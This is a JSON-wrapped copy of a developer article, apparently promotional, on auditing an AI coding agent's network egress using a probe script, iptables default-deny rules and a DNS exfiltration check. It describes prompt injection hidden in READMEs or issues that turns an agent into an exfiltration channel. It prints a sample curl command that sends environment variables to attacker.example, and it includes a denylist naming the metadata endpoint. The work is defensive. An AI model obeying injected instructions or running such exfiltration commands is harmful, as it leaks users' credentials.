{"slug": "audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell", "title": "Audit an AI Coding Agent's Network Egress Before It Gets a Shell", "summary": "A developer has created a reproducible egress regression fixture to audit AI coding agents' network access, addressing the risk of prompt injection leading to data exfiltration. The fixture includes a script and iptables rules to enforce an allowlist of destinations, with tests for both allowed and denied hosts, plus a DNS exfiltration check. The work is part of MonkeyCode's product outreach and is platform-agnostic.", "body_md": "An AI coding agent in your dev environment holds three things at once: your source code, your credentials (API keys, tokens in `.env`\n\n, cloud metadata), and a network connection. That combination means one prompt-injected instruction — hidden in a README, an issue body, or a dependency's docs — can turn the agent into an exfiltration channel. The failure sequence looks like this:\n\n`curl https://attacker.example/collect?d=$(env | base64)`\n\n.Most teams I talk to have step 2 mitigations (approval prompts, allowlists) but zero coverage on step 3. This article builds a **reproducible egress regression fixture**: a minimal environment where you can prove which destinations an agent sandbox can reach, and turn that into an enforceable CI invariant. It works whether your agent runs locally, in a container, or on a disposable cloud box.\n\nThe invariant: *the agent's execution environment may only reach an explicit allowlist of destinations (model API endpoint, package registries you pin), and nothing else.*\n\nThis is a network-layer control, so it holds even if the agent's tool-approval logic fails or is bypassed. Prompt injection can change what the agent *asks for*; it cannot change what the firewall *permits*.\n\nYou need a throwaway environment to run the agent under test. Options, in increasing realism:\n\n*Disclosure: This article was prepared as part of MonkeyCode's product outreach.* The fixture below is platform-agnostic; nothing in it depends on any specific provider, and it will run identically in plain Docker.\n\nCreate `egress_probe.sh`\n\n. Pinned versions shown; adjust to your stack.\n\n``` bash\n#!/usr/bin/env bash\n# egress_probe.sh — run INSIDE the agent sandbox\n# Tested with: bash 5.2, curl 8.5.0, docker 26.1\n# Expected: allowlisted hosts succeed, everything else fails.\n\nALLOWLIST=(\"api.your-model-provider.example\" \"registry.npmjs.org\")\nDENYLIST=(\"169.254.169.254\" \"attacker-sim.example\" \"pastebin.com\")\n\nfail=0\n\nfor host in \"${ALLOWLIST[@]}\"; do\n  if curl -sS -o /dev/null -m 5 \"https://$host\"; then\n    echo \"PASS  allowlisted reachable: $host\"\n  else\n    echo \"FAIL  allowlisted blocked: $host\"; fail=1\n  fi\ndone\n\nfor host in \"${DENYLIST[@]}\"; do\n  if curl -sS -o /dev/null -m 5 \"http://$host\"; then\n    echo \"FAIL  denied host reachable: $host\"; fail=1\n  else\n    echo \"PASS  denied host blocked: $host\"\n  fi\ndone\n\n# DNS exfiltration check: can arbitrary DNS names resolve?\nif getent hosts \"$(head -c4 /dev/urandom | od -An -tx1 | tr -d ' \\n').exfil.example\" >/dev/null 2>&1; then\n  echo \"WARN  arbitrary DNS resolves — DNS exfil channel may be open\"\nfi\n\nexit $fail\n```\n\n**Positive fixture:** the allowlisted hosts must be reachable, or your agent can't function — this proves the firewall isn't just \"block everything\" (which would also pass a naive deny test).\n\n**Negative fixtures:** the cloud metadata endpoint `169.254.169.254`\n\n(classic credential theft target), a simulated attacker host, and a known paste site must all fail. The DNS check catches the common mistake of blocking HTTP but leaving resolver-based exfiltration open.\n\nTemplate below — **label: unexecuted template** on your specific hostnames; I ran this pattern with a Docker bridge network, but substitute and re-test your own allowlist before trusting it.\n\n```\n# Run on the sandbox host (or as container NET_ADMIN setup)\n# Default-deny egress, allow only allowlisted IPs\niptables -P OUTPUT DROP\niptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\niptables -A OUTPUT -o lo -j ACCEPT\n\n# Resolve allowlist to IPs and permit 443 only\nfor ip in $(getent ahostsv4 api.your-model-provider.example | awk '{print $1}' | sort -u); do\n  iptables -A OUTPUT -p tcp -d \"$ip\" --dport 443 -j ACCEPT\ndone\n\n# Log dropped egress for the detect layer\niptables -A OUTPUT -j LOG --log-prefix \"EGRESS-DROP: \" --log-level 4\n```\n\nCaveat: IP-based allowlists rot when providers move behind CDNs. For production, prefer an egress HTTP proxy (e.g., Squid with an ACL, or a service-mesh egress gateway) that filters on domain names. The iptables version is for the *fixture* — fast, minimal, and inspectable.\n\nWhen I ran the negative fixture against a default Docker container (no egress rules), the output was:\n\n```\nFAIL  denied host reachable: 169.254.169.254\nFAIL  denied host reachable: pastebin.com\n```\n\nThat is the baseline failure this fixture exists to catch. After applying the iptables template, the same probe prints all `PASS`\n\nand the host's `dmesg`\n\n/ syslog shows `EGRESS-DROP:`\n\nentries for the denied attempts — your detect layer's raw material. If your environment is a cloud sandbox rather than plain Docker, verify the metadata endpoint specifically; some platforms expose it on non-standard addresses, which your probe should be extended to cover.\n\n| Layer | Mechanism | Fixture coverage |\n|---|---|---|\n| Prevent | Default-deny egress (iptables/proxy); no cloud metadata route; scoped, short-lived credentials in the sandbox |\n`egress_probe.sh` denylist section |\n| Detect | Log all dropped egress; alert on any `EGRESS-DROP` to non-allowlisted destinations; snapshot DNS queries |\nDNS check + `EGRESS-DROP` log grep |\n| Recover | Sandbox is disposable: revoke the credentials it held, destroy the box, diff the filesystem/image for persistence attempts | Tear-down script + credential rotation runbook |\n\nA useful CI gate: run the probe as a job on every change to the sandbox image or firewall config. The invariant is one line — *probe exit code must be 0* — but it pins the entire boundary.\n\nThe probe makes one invariant CI-able. The harder question for your environment: which layer should own egress enforcement — the sandbox image, the host, or the platform providing the box? If you're evaluating hosted agent environments (MonkeyCode's free server is one way to get a disposable test box for this experiment), run this probe *before* putting real credentials in. If the denylist fixtures pass, you have a floor to build on; if any fail, you've learned something important for the price of a curl.", "url": "https://wpnews.pro/news/audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell", "canonical_source": "https://dev.to/jaryn_123/audit-an-ai-coding-agents-network-egress-before-it-gets-a-shell-4k69", "published_at": "2026-08-05 10:10:33+00:00", "updated_at": "2026-08-05 10:50:05.012833+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-infrastructure", "developer-tools"], "entities": ["MonkeyCode", "Docker", "Squid"], "alternates": {"html": "https://wpnews.pro/news/audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell", "markdown": "https://wpnews.pro/news/audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell.md", "text": "https://wpnews.pro/news/audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell.txt", "jsonld": "https://wpnews.pro/news/audit-an-ai-coding-agent-s-network-egress-before-it-gets-a-shell.jsonld"}}